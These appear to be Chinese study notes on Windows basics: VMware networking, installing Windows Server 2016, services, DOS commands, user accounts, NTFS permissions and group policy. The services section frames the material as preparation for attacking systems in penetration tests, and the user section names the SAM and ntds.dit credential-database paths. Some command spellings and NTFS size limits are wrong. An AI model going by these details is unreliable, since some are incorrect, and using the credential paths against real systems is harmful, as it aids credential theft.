Windows
一、VmWare介绍及功能使用
- VmWare介绍
借助VMwareWorkstationPro，您可以在同一台Windows或LinuxPC上同时运行多个操作系统。创建真实的Linux和Windows虚拟机以及其他桌面、服务器和平板电脑环境（包括可配置的虚拟网络连接和网络条件模拟），用于代码开发、解决方案构建、应用测试、产品演示等。
- 可连接到VMwarevSphere
可安全地与vSphere、ESXi或其他Workstation服务器连接，以启动、控制和管理虚拟机 (VM) 和物理主机。常见的VMwarehypervisor可最大限度地提高工作效率，实现与本地PC之间轻松传输虚拟机。
- 可针对任何平台进行开发和测试
WorkstationPro支持数百种操作系统，可与云技术和容器技术（如 Docker和Kubernetes）协同工作。
- 安全的隔离环境
运行具有不同隐私设置、工具和网络连接配置的第二个安全桌面，或使用取证工具调查操作系统漏洞。Workstation可提供业界最安全的hypervisor之一，还可为IT安全专业人员提供强大功能。
- VMware的主界面介绍
- 第一部份为菜单栏，主要是文件的处理方式、网卡编辑、查看、虚拟机操作、选项卡、相关帮助等功能。
- 第二部份为常用工具按钮，涉及虚拟机的电源操作、快照拍摄与管理、视图切换等功能。
- 第三部份为已经安装的虚拟机列表，可以在这个列表选择相应的虚拟机。
- 第四部份为主页界面，有创建、打开虚拟机，连接远程服务器等功能。
- 创建虚拟机
创建虚拟机的流程在下一节体现 - 虚拟机电源操作
在虚拟机的上方，有一个橙色双竖杠的按钮，点击一下旁边的下三角符，会出现相应的虚拟机电源操作，如关机、重启、挂起等操作。
- 发送Ctrl+Alt+Del
虚拟机长时间不操作时，有的操作系统会自动锁屏，并要求发送Ctrl+Alt+Del，可以选择虚拟机的下拉菜单中的发送Ctrl+Alt+Del选项。
- NAT、物理桥接、仅主机三种网络连接模式
- NAT模式
默认是这种模式，NAT是使用VM8的网段，例如VM8的网络是192.168.1.0/24，那么采用NAT方式的虚拟机就是在这个网络范围。在Vmware安装好之后，物理机会多两块网卡出来，VM1/VM8，其中VM8这个网卡是所有采用NAT模式的虚拟机的数据出口，虚拟机之间的通信也是通过它的。
这里注意一下，我们是使用一个新的虚拟网卡，这个网卡可以理解为物理网卡的复制品，但是它所具有的功能是与物理网卡是一样的，通常情况下，我们都使用这种模式。我们可以使用下图来理解：
- 桥接模式
现在我们关机选择桥接模式，然后开机，测试它的相关功能。它是直接使用真实的物理网卡网络（我这里为192.168.1.0/24）。若是在一个小型的办公网络可以使用这种方式，但是若在一个大的网络中，虚拟机会消耗网络空间的，慎用。若需要访问公网，建议使用NAT模式，我们可以使用下图来理解这种模式：
- 仅主机模式
这个是可以与物理机的VM1网卡通信的，但是不能访问网络，它与NAT的区别在于，NAT可以访问外网，但是仅主机模式无法访问外网，其他的功能都是一样的。我们可以使用下图来理解这种模式：
注意：有时候我们发现，物理机与虚拟机同一个网络之内他们也不能通信，这里很容易忽略的一个问题，没有关闭防火墙。
二、WindowsServer2016的安装
- WindowsServer2016的简介
(WindowsServer2016，它可以理解为服务器版的Windows10，宣告整个核心架构定型稳定。WindowsServer2016是微软推出的第六个WindowsServer版本，也是Windows10的服务器版本。该版本在拓展安全性、弹性计算、缩减存储成本、简化网络、应用程序效率和灵活性等方面有明显改善。
WindowsServer2016带来了大量新功能，关键功能如下：
拓展安全性： 引入新的安全层，加强平台安全性，规避新出现的威胁；
弹性计算： 启用新的安装选项并增加弹性，帮助用户在不限制灵活性的前提下确保基础设施的稳定性；
缩减存储成本： 提升应用程序效率和灵活性。
镜像下载地址（迅雷下载）：WindowsServer2016镜像
- WindowsServer2016的安装步骤
-
打开VmWare，新建虚拟机，选择自定义安装
默认两次下一步，选择版本为WindowsServer2016
-
选择自己要安装到的文件位置
-
固件类型BIOS
-
一直默认下一步到此页面，点击完成
-
回到虚拟机主界面，点击“编辑虚拟机设置”，将新CD/DVD改成事先准备好的ISO镜像
后面就是系统的安装了，按照步骤走就行 -
点击开启此虚拟机 等待一会，默认下一步，点击现在安装
-
如果需要输入密钥，选择我没有产品密钥
-
进入此页面，选择第四个（WindowsServer2016Datacenter(桌面体验)x64）。默认两次下一步
-
选择自定义：仅安装。默认下一步
-
等待几分钟后会跳至这个页面，输入自己的密码（密码需要数字、大写英文、小写英文）例如：ygYGBG372s1
-
点击完成，输入自己的密码
-
完成安装
- 安装虚拟机Vmware-tool工具
右击虚拟上方相应的虚拟机标签，选择安装Vmware-Tools，安装了Vmware-tool工具后，可以直接从物理机拖拉数据进虚拟机，也可以看到更大的屏幕，然后直接点进D盘点setup.exe默认安装就好了。
三、WindowsServer2016的常见服务
服务名称：Dhcp
显示名称：DHCP Client
描述：为此计算机注册并更新 IP 地址。如果此服务停止，计算机将不能接收动态 IP 地址和 DNS 更新。如果此服务被禁用，所有明确依赖它的服务都将不能启动。
服务名称：Dnscache
显示名称：DNS Client
描述：DNS 客户端服务(dnscache)缓存域名系统(DNS)名称并注册该计算机的完整计算机名。如果该服务被停止，将继续解析 DNS 名称。然而，将不缓存 DNS 名称的查询结果，且不注册计算机名。如果该服务被禁用，则任何明确依赖于它的服务都将无法启动。
这里列举了两个最常用的服务，其他服务当用到的时候，可自行查阅。
四、Windows基础
- Windows简介
Microsoft Windows是美国微软公司以图形用户界面为基础研发的操作系统 ，主要运用于计算机、智能手机等设备。共有普通版本、服务器版本（Windows Server）、手机版本（Windows Phone）、嵌入式版本（Windows PE）等子系列，是全球应用最广泛的操作系统之一。
Microsoft Windows于1983年开始研发，最初的研发目标是在MS-DOS的基础上提供一个多任务的图形用户界面，后续版本则逐渐发展成为主要为个人电脑和服务器用户设计的操作系统，并最终获得了世界个人电脑操作系统的垄断地位。
- Windows标准界面介绍
- 窗口布局
- 认识文件和文件夹
文件名的长度：最长256个字符（含路径、不区分大小写），根目录下255个字符
文件名特色字符，不允许使用：
■ / \ < > | " : ? *
■ com0-com9,lpt0-lpt9,prn,aux,nul,con
- Windows磁盘管理
在“此电脑”单机鼠标右键，“显示更多选项”中找到“管理”，然后选择“磁盘管理”。
基本磁盘的盘符受26个字母控制。
-
主（磁盘）分区
○ 可以存放引导文件的分区
○ 最少一个，最多四个 -
扩展磁盘分区
○ 用来存储数据，无法启动操作系统
○ 扩展分区最少0个，最多一个 -
逻辑分区
○ 扩展分区无法直接使用，创建为逻辑分区后才可以使用。 -
磁盘分区
diskpart，回车
select disk 0，回车
create partition primary size=?M，回车
创建扩展分区的命令：
create partition extend，回车
-
压缩磁盘分区
使已有的磁盘分区分出空间 -
扩展磁盘分区
将未分配的磁盘空间纳入到自己分区下
只有NTFS分区才可以扩展分区
空间必须是连续的，且未使用空间必须在欲扩展分区的后面 -
删除磁盘分区
将磁盘分区及内部所有的数据全部删除。 -
格式化的含义和类型
格式化是对磁盘和磁盘的分区进行初始化的一种操作。
格式化分为低级格式化和高级格式化。 -
低级格式化：
○ 将磁盘内容清空，恢复出厂状态，划分出柱面和磁道，再将磁道划分若干个扇区，每个扇区划分出标识部分、间隔区和数据区。
○ 每块磁盘出厂时已由厂家进行低级格式化处理，厂商建议用户自己不要进行低级格式化处理，除非出现磁盘某种类型的坏道时，使用低级格式化起到一定缓解或者屏蔽作用。 -
高级格式化
○ 分为普通格式化和快速格式化
○ 不会真正的删除数据，普通格式化会检查磁盘坏扇区，快速格式化不会检查。 -
文件系统进行格式化
○ FAT16:单个文件最大支持2G；
○ FAT32:单个文件最大支持4G；
○ NTFS:单个文件最大不受限制。 -
无损转换文件系统
covert 盘符：/fs:ntfs
-
盘符与卷标
修改盘符：C盘的字母C即为盘符，盘符可以修改、删除、增加。
更改卷标：磁盘旁边的文字称为卷标。 -
虚拟内存的含义和作用
计算机中所运行的程序均需经由内存执行，若执行的程序占用内存很大或很多，则会导 致内存消耗殆尽。为解决该问题，Windows 中运用了虚拟内存技术，即匀出一部分硬盘空间 来充当内存使用，也称为页面文件。
虚拟内存在硬盘上其实就是一个文件，文件名是 PageFile.Sys，通常状态下是看不到的。（隐藏文件） -
设置虚拟内存大小
鼠标右键“此电脑”，选择“属性”，搜索“查看高级系统设置”
- 微机的部件与连接
微机的主要外设有显示器、键盘、鼠标器、打印机和扫描仪等，这些外部设备承担了系统数据的输入输出工作。 外设通过各种接口与计算机主板相连，在启用时还需要安装相应的驱动程序。 主板（mainboard）是电脑中最大的一块电路板，上面布满了各种插槽、接口、电子元件。 主板就像电脑的神经系统。 现代的主板性能是由其芯片组确定的。
- PCI（Peripheral Component Interconnect）
○ 外设部件互连标准接口。 - AGP（Accelerate Graphical Port）
○ 加速图形接口，专门为显卡设计。
- BIOS与CMOS
- BIOS的含义
BIOS(Basic Input & Output System):基本输入输出系统，或称为（ROM-BIOS),意思是只读存储器输入输出系统。
BIOS是主板的一块ROM芯片，里面装有系统的重要信息和系统参数的设置程序(BIOS Setup 程序)。 - CMOS的含义
Complementary Metal-Oxide Semiconductor（互补金属氧化物半导体），是一种应 用于大规模集成电路芯片制造的原料。
CMOS是计算机主板上的一块可读写的RAM芯片，里面装有当前系统的硬件配置 和用户对某些参数的设定。
计算机系统在加电开机时要读取CMOS信息，用来初始化机器各个部件的状态。
CMOS由主板上的CMOS电池供电，因此无论是在关机状态，还是遇到系统掉电的情况，CMOS信息都不会丢失。 - BIOS与CMOS的区别与联系
BIOS中的系统设置程序是完成CMOS参数设置的手段；CMOS既是BIOS设定系统参数的存放场所，又是BIOS设定系统参数的结果。
概括两者的关系：“通过BIOS设置程序对CMOS参数进行设置”。
- C盘根目录常见文件夹
- Documents and Settings/用户： Windows 11 中的“用户”文件夹其实就是XP中的Documents andSettings文件夹，这里储存了用户的设置，包括用户文档、上网浏览信息、配置文件等数据。
- Downloads： 这通常是下载软件的默认下载路径，建议修改软件设置改到其他硬盘分区。
- Drivers： 部分驱动程序的文件夹。
- Favorites： 收藏夹。
- Program Files： 应用程序文件夹，一般软件默认都安装在这里，也有一些系统自带的应用程序。在Windows7系统中，64位用户会多出一个Program.Files (X86)文件夹，这是系统中32位软件的安装目录。
- Program Data： Windows 7的系统文件夹，放置程序的使用数据、设置等文件，不建议删除。
- Windows： 存放操作系统主要文件，非常重要。
- Temp： 存放系统或其他软件临时文件，需经常清理。
- hiberfil.sys： 系统的休眠功能所占用的硬盘空间的文件，不建议删除。
- pagefile.sys： 虚拟内存页面文件，不建议删除。
- Perflogs： Windows Vista或Windows 7系统日志，记录如磁盘扫描错误等信息，没有必要删除。
- Documents and Settings/用户 常见文件夹
- 默认情况下位于系统分区根目录下，其下包括：
○ Administrator、All Users、Default User、用户文件夹等。All Users针对所有用户，这里的更改对所有用户有效，Administrator针对系统管理员账户。
○ 桌面
○ 「开始」菜单
○ Application Data： 通用应用程序数据文件夹。
○ Favorites： 收藏夹。
○ Local Settings： 保存应用程序数据、历史和临时文件，可清理。
○ My Documents： 我的文档
○ NetHood： 网络共享目录。
○ PrintHood： 打印共享目录。
○ Recent： 最近打开的文档。
○ SendTo： 鼠标右键的“发送到”。
○ Templates： 存储着常用程序的模板文件。
○ Temp： 临时文件目录，在系统和软件的运行过程中产生的临时文件就存放于此。
○ Temporary Internet Files： IE 下载文件的缓存
- Program Files 常见文件夹
- Common Files： 共用程序文件夹，用于同系列不同程序软件共同使用或调用数据，比如微软和Adobe的各种软件
- ComPlus Applications： 微软COM+组件使用的文件夹，删除后可能引|起COM+组件不能运行。
- DIFX： DIFX是一-种高效的XML索引方法，此文件夹与数据索引有关，不可以删除。
- Internet Explorer： 系统自带的IE浏览器，删除后可能导致部分程序不能正常运行。
- InstallShield Installation Information： 专门存储安装程序信息的文件夹，用于某些程序的卸载和更新。
- MSECache： MS Office运行时自动创建。
- MSXML 6.0： 微软XML解析器程序的文件夹。
- microsoft frontpage： FrontPage是微软推出的一款网页设计软件，此文件夹通常为空。
- Movie Maker： 系统自带的一款视频编辑软件。
- MSNGamingZone： 一些系统自带的扑克牌等小游戏，可以删除。
- Netmeeting： 系统自带的网上聊天软件。
- Outlook Express： Outlook Express是Windows内置的邮件收发端，不用可删。
- Online Services： 网络服务文件夹，不能删。
- Windows Media Player： 系统自带的一款多媒体播放器。
- WinRAR： 款流行的压缩解压缩软件。
- Xerox： 用作自带的一些图像处理软件的临时空间，文件夹不能删除，但通常为空。
- Windows 关键文件夹
- C:\Windows
○ Windows操作系统中最核心的文件夹，大部分系统文件都在此文件夹下 - C:Windows\Fonts
○ 字体文件夹。有些病毒会存放在此文件夹下。 - C:Windows\System32
○ Windows文件夹中最重要的文件夹，一般用于存放Windows的系统文件和硬件驱动程序。 - C:Windows\Temp
○ 系统临时文件夹，有些病毒会存放在此文件夹下。 - C:Windows\system32\dirvers
○ Windows驱动文件夹，有些驱动病毒存放会在此文件夹下。
- Windows 服务简介
- 简介：几乎所有的操作系统在启动的时候都会启动一些不需要与用户交互的进程，这些进程在Windows中就被称作服务。
- 学习目的：利用计算机运行的程序，在渗透测试时攻击系统。
- 服务的特点：①系统自动开启 ②不需要和用户交互 ③可长时间运行
a. 两种程序：
■ 进程：进行的程序
■ 服务：后台运行的程序 - 服务的管理：①用命令行管理 ②通过SCM管理
- 怎么编写服务程序：①c++ ②c#
○ 注意服务的程序有特殊的格式（eg：在cmd.exe中不能运行） - 对服务的操作：启动/停止/配服务/查服务
- SCM 服务控制管理器
- SCM控件面板可通过控制面板|系统和安全|管理工具|服务访问。
- Windows服务控制管理器（SCM）负责配置服务，启动和停止它们。
- 它显所有配置服务的名称、说明、状态、启动类型和用户名称的列表。
- 三种类型
- Local System（本地系统）
○ 【【思路】】 这是hacker攻击的目标，攻击时不攻击系统程序（如更新服务）
○ 以Local System账户运行的服务主要有：
①Windows Update （Windows 更新）
②Com+（管理基于组件对象模型 （COM+） 的组件的配置和跟踪）
③Messenger Service （支持短信及相关功能）
④Task Scheduler （在此计算机上配置和计划自动任务）
⑤Server （支持此计算机通过网络的文件、打印、和命名管道共享）
⑥Windows Installer （添加、修改和删除作为Windows Installer 程序包（. msi、 msp）提供的应用程序） - Network service（网络服务）
○ eg：①DNS服务 - Local Service（本地服务）
○ Local Service 账户是预设的拥有最小权限的本地账户，并在网络凭证中具有匿名的身份。
○ 注意运行于此账户下的进程和运行于Network Service账户下的进程的区别，在于运行Local Service账户下的进程只能访问允许匿名访问的网络资源。
○ eg：①DHCP服务
- 相关的CMD命令
- net —— 只能启动停止服务，不能配查。
net 用于打开没有被禁用的服务，语法是：
net start 服务名 ——启动服务
net stop 服务名 ——停止服务
-
进程与线程
进程通常被定义为一个正在运行的程序的实例，当你运行一个程序，你就启动了一个进程。进程又分为系统进程和用户进程。系统进程主要用于完成操作系统的功能，而QQ、Foxmail等应用程序的进程就是用户进程。
线程通常在一个进程中可以包含若干个线程，它们可以利用进程所拥有的资源，在引入线程的操作系统中，通常都是把进程作为分配资源的基本单位，而把线程作为独立运行和独立调度的基本单位，由于线程比进程更小，基本上不拥有系统资源，故对它的调度所付出的开销就会小得多，能更高效的提高系统内多个程序间并发执行的程度。 -
Windows 服务器常见进程
- System ldle Process.exe： 系统进程，它的作用是显示系统有多少闲置的cpu资源。
- svchost Service Host Process： 是一个标准的动态连接库主机处理服务。Svchost用来启动服务。Svchost只是负责为这些服务提供启动的条件，其自身并不能实现任何服务的功能，也不能为用户提供任何服务，经常会被病毒利用进行dll注入的进程。
- explorer.exe： 用于控制Windows图形，包括开始菜单、任务栏，桌面和文件管理。
- lsass.exe： 系统进程这是一个本地安全权限服务管理进程详解：管理IP安全策略以及启动ISAKMP/Oakley(IKE)和IP安全驱动程序。
- services.exe： 系统进程用与管理启动和停止Windows服务，该进程也管理计算机启动和关机时的运行的服务，所以很重要。
- alg.exe： 这是一个应用层网关服务。用于网络共享，alg.exe是微软Windows操作系统自带的程序。它用于处理微软Windows网络连接共享和网络连接防火墙。
五、WindowsPE介绍
- WinPE简介
Windows Preinstallation Environment（Windows PE），Windows预安装环境，微软在2002年7月22日发布，带有限服务的最小Win32子系统，基于以保护模式运行的Windows XP Professional内核。
Windows预先安装环境（Microsoft Windows Preinstallation Environment，简称Windows PE或WinPE）是简化版的Windows XP、Windows Server 2003、Windows Vista、Windows 7 、Windows 8和Windows 10。WinPE是以光盘或其他可携设备作媒介。WinPE作用是方便大企业作出工作站和服务器的企划、给“原始设备制造商”（OEM）制造自定义的Windows操作系统、
win PE 是轻量化的windows，住在U盘里，易被修改，用于维护电脑。磁盘损坏或系统发生故障可以用PE进行提取文件。PE分不同的版本，基于内核不同。 - WinPE的功能
- 计算机无法开机时，进行数据救援。 由于计算机无法开机时，你在计算机里的重要数据就无法复制出来，这时解决的方法之一，就是可以利用WinPE光盘开机，然后进入到WinPE时，再将计算机重要的数据复制出来。
- 计算机中毒，病毒/木马程序因锁定而无法删除。这种状况也是常发生，有一些病毒会因为在「执行中」或「被系统锁住」，导致我们既无法终止程序，也无法删除程序，这时只要确定木马或病毒程序的位置，就可以利用WinPE光盘开机，然后再到硬盘的那个位置，将这些恶意软件给删除掉。
- 全新安装Windows系统，进行分区和系统安装。 重新安装系统前，我们可能需要事先对硬盘全部格式化并重新分区，或者对原来硬盘分区空间进行调整（例如把C盘调整到100GB等），然后使用WinNTSetup快速安装系统，节约时间
- WinPE应用案例
当我们系统坏了的时候最简单的方法就是重装系统，重装系统时候会格式化我们的C盘，但是有的朋友没有分盘区，或者C盘有重要资料，但是咱们又无法进入系统拿走我们的东西，这时就需要winPE系统进入来将我们的资料拿出，PE系统目前来说网上很多，用起来非常方便，但是广告非常多，像老毛桃、大白菜就是PE系统。
六、Windows常用DOS命令
-
DOS简介
-
DOS 是一个早期的操作系统，现在已经被 Windows 系统取代，对于开发人员，需要在 DOS 中完成一些事情，因此就需要掌握一些必要的命令。
DOS ： Disk Operating System 磁盘操作系统, 简单说一下 Windows 的目录结构 -
主要包括目录操作类命令、磁盘操作类命令、文件操作类命令和其它命令。
-
大多数默认的 DOS命令对应目标程序大多在“C:/Windows/”及“C:/Windows/System32”目录下。
-
DOS命令的执行方式 一般的是通过调出CMD控制台执行 对于较熟悉的可以自行编写bat批处理DOS命令，然后保存为 .bat 后缀格式文件。
-
怎么使用DOS-调出cmd
（1）键盘输入 “win+R”，呼出 运行窗口。
（2）在输入框 输入“cmd”命令，确定调出 cmd命令窗口。 -
DOS基础命令
dir命令
--查看当前所在目录的文件和文件夹
dir
--查看当前目录以及其所有子目录的文件和文件夹
dir /s
--查看包括隐藏文件的所有文件
dir /a
--只查看隐藏文件
dir /0ah
--以紧凑方式（一行显示5个文件）显示文件和文件夹
dir /w
--以分页方式（显示一页之后会自动暂停）显示
dir /p
--“|”重定向符号，就是把一个命令的结果输出为另一个命令参数。more也是命令， dir /w |more 与 dir/w /p的结果一样。
--其他参数可用 dir /? 查看
cd命令
--进入d盘
cd /d d:
--退回到根目录
cd \
--退回到上一级目录
cd ..
--进入指定目录
cd 目录名
md命令
--创建特定文件夹，不能创建文件
md 目录名
rd命令
--删除特定的文件夹
rd 目录名
copy命令
--把一个文件拷贝（复制）到另一个地方
copy 路径\文件名 路径\文件名
move命令
--把一个文件移动（剪切）到另一个地方
move 路径\文件名 路径\文件名
del命令
--删除一个文件
del 文件名
--删除当前文件夹下所有文件
del *.*
--del不能删除文件夹
format命令
--格式化一个分区
format x
type命令
--显示文本文件的内容
type 文本文件名.后缀名
--解决中文乱码
chcp 65001
ren命令
--修改文件名
ren 旧文件名 新文件名
- 网络命令
ping命令
--向目标主机发送4个icmp数据包，测试对方主机是否收到并响应，一般常用于做普通网络是否通畅的测试。但是ping不通不代表网络不通，有可能是目标主机装有防火墙并且阻止了icmp响应。
ping 主机ip或名字
--不停的发送数据包。当然都很小，不能称作攻击。有些人自己写 了一些类似于ping命令的程序，不停的发送很大的数据包，以阻塞目标主机 的网络连接。
ping -t
net命令
--查看共享
net view \\主机
--启动服务
net start 服务名
--停止服务
net stop 服务名
--更多命令查看
net /?
netstat命令
--显示套接字内容的命令
netstat 主机
--a：不仅显示正在通信的套接字，还显示包括尚未开始通信等状态的所有套接字n：显示 IP 地址和端口号o：显示使用该套接字的程序 PID
netstat -ano
nbtstat命令
--查看主机使用的NetBIOS name
nbtstat 主机
tracert命令
--查看从自己的主机到目标主机经过的路径
tracert 主机
pathping命令
--显示tracert不能显示的信息
pathping 主机
ftp
字符方式的ftp客户端
telnet
字符方式的远程登录程序
ipconfig命令
--网络配置
ipconfig
--详细的信息
ipcofig /all
--释放当前ip
ipconfig /release
--重新申请ip
ipconfig /renew
--刷新dns缓存
ipconfig /flushdns
--重新在dns服务器上注册自己
ipconfig /registerdns
arp命令
arp缓存是用来存储ip地址和mac地址的映射关系的临时表
--操作当前的arp缓存
arp
--显示arp缓存
arp -a
--删除一条缓存记录
arp -d
--添加一条缓存记录
arp -s
nslookup命令
nslookup是一种网络管理命令行工具，主要用于诊断域名系统（DNS）基础结构的信息。它可以用来查询DNS的记录，验证域名解析是否正常，以及在网络故障时帮助诊断网络问题。nslookup命令有两种工作模式：交互模式和非交互模式。在交互模式下，用户可以向域名服务器查询各类主机、域名的信息，或者输出域名中的主机列表；而在非交互模式下，用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。
nslookup
- DOS外部命令
--打开控制面板
control
--远程桌面
mstsc
--画图
mspaint
--记事本
notepad
--计算器
calc
--注册表
regedit
--服务
services.msc
--防火墙
firewall.cpl
--截图工具
snippingtool
--屏幕键盘
osk
--任务计划程序
taskschd.msc
--系统配置
msconfig
--注销命令
logoff
--网络连接
ncpa.cpl
--600s后自动关机
shutdown -s -t 600
--取消定时关机
shutdown -a
--600s后自动重启
shutdown -r -t 600
--查看端口进程
netstat -ano|findstr 9003
--杀死进程
taskkill /F /PID 14404 杀死进程
七、Windows用户管理
1. windows用户的概念：
所谓用户账户，就是计算机使用者的身份凭证。windows是多用户操作系统，可以一台电脑上建立多个用户账号，不同用户使用不同的账号登录，尽量减少相互之间的影响。
2. 用户账户的分类：
在windows里，每个用户登录系统后，拥有不同的操作系统权限。在系统里windows给内置了一些账户。比如administrator–管理员账户，guest–来宾账户，该账户的权限很小，这些是给人使用的。windows还内置了一些账户，它们不是给人使用的，比如，system，系统账户，这个账户权限全系统最高，比管理员还高一些，local services，本地服务账户，权限仅等于普通用户。
3. 内置用户账户：
在安装系统时一起安装的用户账户，通常有Administrator和Guest。Administrator： 是系统管理员，又称超级用户。对系统中全部控制权，管理计算机的内置账户，不能被删除和禁用。Guest： 来宾用户，供那些在系统中没有个人账户的来客访问的计算机临时账户，此用户是默认被禁用的状态，以确保网络安全，它也不能被删除，但是可以改名和禁用。
4. 本地用户账户：
创建于非域控制计算机，只能在本地计算机上登录，无法访问域中其他计算机资源。本地用户信息存储在本地安全数据库当中(sam)数据库：
c:\windows\system32\config\sam
5. 域用户账户：
创建于域控制器计算机，可以在网络中任何计算机上登录。域用户信息保存在活动目录中(活动目录数据库)：
c:\windows\NTDS\ntds.dit
登录名是由用户前缀和后缀组成，之间用@分开，如：Tom@sdfsdf.com
6. 创建本地用户
注意：这节里的指令，必须是管理员身份才可以执行
--创建用户
net users test 123 /add
--查看用户
net users
创建本地用户的规则：
- 用户名：
用户名最长20个字符，不区分大小写，可以使用中文
可以使用一些特殊符号“ / \ [ ] : ; | = , + * ? < >
命名规则：用户的英文名或者姓名拼音 - 全名和描述：
可以输入一些员工的个人信息和公司信息，如姓名和部门等 - 密码和确认密码：
密码的最大长度可以达到127位
密码的设置不应过于简单，应该使用字母、数字以及特殊符号的组合
管理本地用户的主要操作：
- 本地用户修改密码
net user username password
net user test test123
- 删除本地用户
net user username /del
net user test /del
- 禁用账户
net user username /active:no
- 激活账户
net user username /active:yes
- 本地组的概念：
组是账户的集合
方便管理，例如赋权：当一个用户加入到一个组以后，该用户会继承组所有权限，一个用户账户可同时加入多个组。 - 本地组的创建：
①.右键“我的电脑 - 管理”，打开“计算机管理”对话框，展开“本地用户和组”。
②.右键“组”，打开“新建组”对话框，输入“组名”。组名最好使用英文字符以方便管理，并在“描述”中输入一些描述信息以方便识别该组，描述信息可以使用中文。
③.“新建组”下方有一个显示成员的列表框，我们可以单击“添加”按钮为该组添加成员，也可以等以后需要时再添加，这里暂时不添加用户，点击“创建”按钮完成新建组，并单击“关闭”按钮关闭该对话框。 - 本地组管理
①.右键打开新建的用户组的属性，依次点击“添加-高级-立即查找”，查找并选中四个小组的用户账户，单击“确定”按钮，此时用户组中即包含四个小组的用户账户，点击“应用-确定”即完成用户组的成员添加；
②.任意打开某小组用户账户的属性，切换到“隶属于”选项卡，可以发现该账户已经隶属于的组名；
③.要删除组，可右键该组，在弹出的快捷菜单中选择“删除”，在弹出的警告对话框中点击“确定”按钮即可；
④.要重命名用户组，可右键该组，在弹出的快捷菜单中选择“重命名”，直接为组输入新的名字并按回车键即可。
八、NTFS权限管理
- 文件系统概述
文件系统概念：即在外部存储设备上组织文件的方法
windows常见的文件系统：FAT、FAT32、NTFS
| 文件系统 | NTFS | FAT32 | FAT16 |
|---|---|---|---|
| 适用OS | NT及以后 | 95及以后 | DOS/所有OS |
| 最大文件 | 64GB | 4GB | 2GB |
| 最大分区 | 2TB | 32GB | 2GB |
| 文件名长度 | 255 | 255 | 8个字符 |
| 域管理 | 支持 | 不支持 | 不支持 |
| 数据压缩 | 支持 | 不支持 | 不支持 |
| 数据加密 | 支持 | 不支持 | 不支持 |
| 磁盘配额 | 支持 | 不支持 | 不支持 |
- NTFS权限概述
- NTFS简介
①.NTFS和FAT32文件系统在结构上几乎是完全不同的两种文件系统， NTFS自身具有很多新的特征，比如安全性、容错性、文件压缩和磁盘配额等，都是相对其他系统特殊的地方。NTFS分区主要由引导扇区、主文件表(Master File Table，MFT)、系统文件和文件存储区域等4个部分组成。NTFS（New Technology File System）是Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式，提供长文件名、数据保护和恢复，能通过目录和文件许可实现安全性，并支持跨越分区。
②.NTFS是一个日志文件系统， 这意味着除了向磁盘中写入信息，该文件系统还会为所发生的所有改变保留一份日志。这一功能让NTFS文件系统在发生错误的时候（比如系统崩溃或电源供应中断）更容易恢复，也让这一系统更加强壮。在这些情况下，NTFS能够很快恢复正常，而且不会丢失任何数据。在很少出错情况下，微软表示你需要运行CHKDSK修复程序来对磁盘卷进行维护的概率特别低，其概率不到1%。 - NTFS所以被广泛应用，除了因为Microsoft公司本身在操作系统市场的绝对优势，其本身也具有诸多优点：
①.NTFS中的所有文件是以key-value的形式存储和组织的， 能够迅速地通过文件属性key来寻找和定位任意文件的value值，提高了操作系统对文件数据的处理效率。
②.为系统文件或重要文件建立安全描述符， 凡是通过操作系统或API对文件进行修改和破坏的行为，都受到操作系统的保护。近年来出现的绕过操作系统或者直接访问硬件磁盘闪存等行为，暂时不能通过文件系统进行保护。
③.NTFS不绑定某个硬件磁盘扇区， 当发现磁盘受到破坏或无法读取数据时，将通过操作系统相关机制对扇区或卷进行复位。文件系统的这种独立性，使得NTFS本身具有更高的安全性。
④.具有可扩容的卷空间。 操作系统将所有数据按照文件的形式存储和统一管理，目的之一是实现连续数据的非连续存储。在不对信息进行分类区分而是统一管理下，卷的状态和管理更加容易进行管理。 - NTFS文件系统的特点
①.提高磁盘读写能力
②.可靠性
加密文件系统
访问控制列表（设置权限）
③.磁盘利用率
压缩
磁盘配额
④.支持单个文件大于4个G - 获取NTFS文件系统的方式
①.格式化磁盘
格式化磁盘时，会有文件系统选项，在文件系统选项中选择NTFS格式，格式化完成后就会获得NTFS文件系统。
②.将FAT文件系统转换为NTFS文件系统
使用win + R或者开始菜单中选择运行 在输入框中输入转换命令
convert c: /fs:ntfs
- 管理NTFS权限
- NTFS权限含义
NTFS文件系统可以针对不同用户和组设置各种访问权限，只有被授予权限的用户或组才能访问“安全”选项卡。
| 文件权限 | 文件夹权限 |
|---|---|
| 完全控制 | 完全控制 |
| 修改 | 修改 |
| 读取和执行 | 读取和执行 |
| 读取 | 读取 |
| 写入 | 写入 |
| 列出文件夹目录 |
-
继承/取消继承权
作用：取消后，可以任意修改权限列表了。
方法：文件夹右键属性—安全—高级—去掉第一个对号–选择复制或删除均可。 -
权限累加
当用户同时属于多个组时，权限是累加的。
案例：用户a同时属于IT组与HR组，IT组对文件夹test可以读取，HR组可以对test文件夹写入，则a用户最终的权限为读取和写入。 -
拒绝最大
当用户权限累加时，如遇到拒绝权限，拒绝最大。
案例：用户aaa属于财务部组，财务部组成员为10个用户，财务部组拥有对文件夹xxx访问权限，现要求aaa用户不能脱离财务部组，同时要求aaa没有访问文件夹xxx的权限。
分析：组具有权限，而用户却具有的是拒绝，这样的就可以了。 -
取得所有权
默认只有administrator有这个权限！
作用：可以将任何文件夹的所有者改为administrator。
案例：用户aaa已离职，但aaa文件夹的属主是aaa，由于aaa用户对aaa文件夹做过权限修改，导致其他用户对aaa文件夹没有任何权限，现需要管理员administrator用户将aaa文件夹重新修改权限。
- 移动和复制对NTFS权限的影响
- 文件复制对权限的影响
文件复制后： 文件的权限会被目标文件夹的权限覆盖。
文件移动后： 如果在同一磁盘下，文件权限保留原有权限，并不会被目标文件夹覆盖，不在同一磁盘下，文件权限被目标文件夹的权限覆盖。
| NTFS分区 | 移动 | 复制 |
|---|---|---|
| 相同分区 | 保留原来权限 | 继承目的地文件夹的权限 |
| 不同分区 | 继承目的地文件夹的权限 | 继承目的地文件夹的权限 |
九、Windows组策略应用
- Windows组策略概述
- 什么是组策略
说到组策略，就不得不提注册表。注册表是Windows系统中保存系统、应用软件配置的数据库，随着Windows功能的越来越丰富，注册表里的配置项目也越来越多。很多配置都是 可以自定义设置的，但这些配置发布在注册表的各个角落，如果是手工配置，可想是多么困难和烦杂。而组策略则将系统重要的配置功能汇集成各种配置模块，供管理人员直接使用，从而达到方便管理计算机的目的。简单点说，组策略就是修改注册表中的配置。当然，组策略使用自己更完善的管理组织方法，可以对各种对象中的设置进行管理和配置，远比手工修改注册表方便、灵活，功能也更加强大。
